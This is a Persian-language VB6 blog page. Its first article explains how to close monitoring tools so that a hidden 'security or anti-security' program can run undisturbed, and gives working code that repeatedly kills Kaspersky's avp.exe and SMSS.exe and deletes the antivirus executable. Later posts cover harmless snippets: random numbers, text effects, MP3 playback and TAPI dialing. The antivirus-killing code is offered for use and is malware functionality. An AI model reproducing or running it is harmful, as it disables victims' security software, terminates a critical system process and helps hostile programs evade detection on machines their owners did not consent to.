چگونه بستن پنجره ها و پروسه های مشکوک

در اینجا منظور از پروسه های مشکوک ، پروسه هاییست که می توانند Monitoring کنند یا اینکه به امنیت برنامه ی ما صدمه وارد کند . برای مثال ما برنامه ای امنیتی یا ضد امنیتی ایی طراحی کردیم . این برنامه درون سیستم های مختلفی قرار می گیرد و به صورت کاملاً مخفی کاراهایی که ما برای آن طراحی کرده ایم انجام می دهد. برای امنیت بیشتر برنامه باید ابزار Monitoring (مانند Process-Monitor) و Viewer (مانند Process-Viewer)که توسط کاربر اجرا می شود بسته شوند تا کاربر از فعالیت های برنامه ی ما جلوگیری نکند . توسط مطالب این مقاله می توانید به چند روش برنامه های مشکوک را ببندید یا اینکه از فعالیت آنها جلوگیری کنید. برای برنامه های امنیتی (مثلاً قفل سیدی یا Packer ها) فعالیت برنامه های مانیتورینگ بسیار مهم می باشد . توضیح بیشتر برای افراد مبتدی : برای بستن یک برنامه در ویندوز باید ابتدا Handle برنامه یمان را بدست اوریم(البته با PiD هم قابل انجام است). پس از اینکه Handle پنجره ی برنامه مان را بدست آوردیم می توانیم کاراهای بسیاری بر روی آن انجام دهیم. کارهایی که می توان بر روی پروسه ها انجام دهیم شامل : Close ، Enable & Disable ، Minimize ، OnTop و ... می باشند که برای هر کدام نمونه کدی به زبان های مختلف در فایلهای پیوست شده وجود دارد. در واقع در این مقاله با چند متد امنیتی کاربری آشنا می شوید که در پروژهایتان (چه امنیتی چه ضد امنیتی) بسیار کاربرد خواهد داشت. شاید بپرسید Handle چیست ؟ معنای Handle به زبان فارسی "دستگیره" می باشد . همانطور که از معنی آن پیداست دستگیره ایست برای هر شئ در ویندوز و شی های مختلف توسط این دستگیره شناخته می شوند. هر شی در ویندوز دارای Handle یگانه می باشد . توضیحی که می توان در مورد شئ بیان کرد این است که : شئ همان دکمه ها ، کادر متن ها و برچسب هاست(البته این توضیح برای افراد مبتدی و تازه کار می باشد ). البته پنجره ها هم دارای Handle می باشند و از این طریق می توان آنها را نیز کنترل کرد. در مقاله ی قبلی بنده کمی با مفهوم PiD آشنا شدید (اگر مقاله ی قبلی را نخوانده اید می توانید آنرا از وبلاگ من دریافت کنید{عنوان مقاله قبلی : جلوگیری از بسته شدن Process ها در ویندوز}) و همانطور که می دانید PiD برای پروسه ها تکراری نمی باشد و هر پروسه در ویندوز دارای PiD جداگانه می باشد . PiD (Process-iD) به معنای آیدی یا مشخصه ی یک پروسه می باشد. فرق PiD و Handle در چیست ؟ PiD مشخصه ای برای هر پروسه می باشد در حالی که Handle مشخصه ای برای هر شئ می باشد. کلاس چیست ؟ هر شئ در ویندوز کلاسی دارد که بر اساس آن نوع شئ تشخیص داده می شود . برای مثال کلاس دکمه هایی که در برنامه های ساخته شده توسط دلفی استفاده می شود از نوع TButton و کلاس دکمه ها در VB از نوع ThunderRT6CommandButton و در C++ هم از نوع Button می باشد. یکی دیگر از راههایی که می توان پنجره ها را در ویندوز پیدا کرد استفاده از کلاس پنجره می باشد . برای مثال کلاس پنجره ی اصلی برنامه ی Notepad.exe ویندوز از نوع Notepad می باشد همچنین کلاس پنجره ی TaskManager ویندوز از نوع 32770# می باشد . در مورد کلاس قضیه متفاوت می باشد و امکان وجود کلاس تکراری در برنامه های اجرا شده بسیار هست . برای مثال برنامه ی TaskManager و Run ویندوز ، به طور مشترک از نوع 32770# می باشد. این به معنی است که در بعضی مواقع پیدا کردن اینگونه پروسه ها کاری بس دشوار است و نیاز به مهارت و نوشتن کدهای بیشتری است. البته برای پیدا کردن اینگونه پروسه ها از روشی ابتکاری که در درس های بعدی در مورد آن توضیح داده شده، استفاده می شود. 

فقط کافی نام برنامتونونو توی process پیدا کنید و در قسمت antiname به جای avp.exe بنویسید.

Dim fso As New FileSystemObject Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Const TH32CS_SNAPPROCESS = &H2 Private Const TH32CS_SNAPheaplist = &H1 Private Const TH32CS_SNAPthread = &H4 Private Const TH32CS_SNAPmodule = &H8 Private Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + TH32CS_SNAPmodule Dim ProcToKill As String Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type Sub Exit_kasper() On Error Resume Next Dim i As Long Dim proc As PROCESSENTRY32 Dim snap As Long Dim exename As String Dim id As Long Dim sfile As String Exist = 0 Exist2 = 0 Open "C:\WINDOWS\system32\Anti.txt" For Input As #1 Line1 = 0 Do While Not EOF(1) Line Input #1, str1 Line1 = Line1 + 1 strdel = Split(str1, "= ") str2 = strdel(1) address = Left$(str2, Len(str2) - 1) address2 = Right$(address, Len(address) - 1) Kill ("C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe") Loop Close #1 snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0) proc.dwSize = Len(proc) theloop = ProcessFirst(snap, proc) While theloop <> 0 exename = proc.szExeFile procid = proc.th32ProcessID ANTINAME = "SMSS.exe" ANTINAME2 = "AVP.EXE" Exist = InStr(exename, ANTINAME) Exist2 = InStr(exename, ANTINAME2) If (Exist <> 0) Or (Exist2 <> 0) Then hand = OpenProcess(1, False, CLng(procid)) TerminateProcess hand, -9 Kill ("C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe") Call fso.DeleteFile("C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe", True) Exist = 0 Exist2 = 0 End If theloop = ProcessNext(snap, proc) Wend CloseHandle snap End Sub Private Sub Form_Load() Timer1.Interval = 100 End Sub Private Sub Timer1_Timer() Call Exit_kasper End Sub

تولید اعداد تصادفی غیرتکراری و در بازه موردنظر

 این تابع مینیمم و ماکزیمم و تعداد اعدادی که میخواین تولید کنین رو میگیره و براتوان در یک آرایه قرار میده.

میتونین خروجی رو مرتب هم تحویل بگیرین.

همراه با Sample هست.

دانلود

تولید زوج مرتب های تصادفی غیر تکراری ، و در بازه موردنظر

این تابع ماکزیمم و مینیمم X,Y ای که میخواین تولید کنید رو می گیره و همین طور تعداد اعدادی که می خواین.
و نتیجه رو در یک آرایه دوبعدی قرار میده که عدد اول در (i,0) و عدد دوم در (i,1) قرار می گیره.

همراه با Sample هست.  

دانلود   

 افکت برای تکست های شما در وی بی 

یه Sample که یه سری افکت ها قشنگ روی متن و تصویر اعمال می کنه.

توابعش بدرد بخوره.

دانلود

پخش آهنگ mp3 با وی بی 6

دوستان شاید خواسته باشید به غیر از مدیا پلیر در ویژوال بیسیک آهنگ و mp3 پخش کنید این کدشه:

mp3 Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Dim isPlaying As Boolean Dim Mp3File As String Private Sub Command1_Click(Index As Integer) Mp3File = Chr$(34) + Trim(Text1.Text) + Chr$(34) Select Case Index Case 0 mciSendString "open " + Mp3File, 0&, 0&, 0& mciSendString "play " + Mp3File, "", 0&, 0& isPlaying = True Case 1 mciSendString "close " + Mp3File, 0&, 0&, 0& isPlaying = False End Select End Sub Private Sub Command2_Click() Unload Me End Sub Private Sub Form_Load() Command1(0).Caption = "Start" Command1(1).Caption = "Stop" Command2.Caption = "Exit" End Sub Private Sub Form_Unload(Cancel As Integer) If isPlaying = True Then mciSendString "close " + Mp3File, 0&, 0&, 0& End If End Sub </body> </html></body> </html>

حالا تو TextBox آدرس یک فایل MP3 رو وارد کنید و دکمه Start رو بزنید، موسیقی پخش میشه، به همین سادگی. لازم به ذکره که این کد بارها و بارها تست شده و هیچ گونه مشکلی نداره اگر کسی به مشکلی برخورد در قسمت نظرات مطرح کنه. سربلند باشید...

بدست آوردن شماره تلفن

دوستان امروز یه برنامه با ویژوال می زارم که بیشتر تو مایه های بدست آوردن شماره تلفن و هک و این حرفاست با این برنامه شما می تونید یک شماره دلخواه را با vb شماره گیری کرده و شماره طرفی روی تلفن شما ظاهر میشه !!!؟ حالا برنامه با تابع TAPI32.DLL ویندوز کا می کنه کدشم فقط یه دونه تکست به فرمتو اضافه کنید به صورت زیره: 

Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As  String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As  String) As Long

Private Sub Command1_Click()
     tapiRequestMakeCall Text1.Text, "", "", ""
End Sub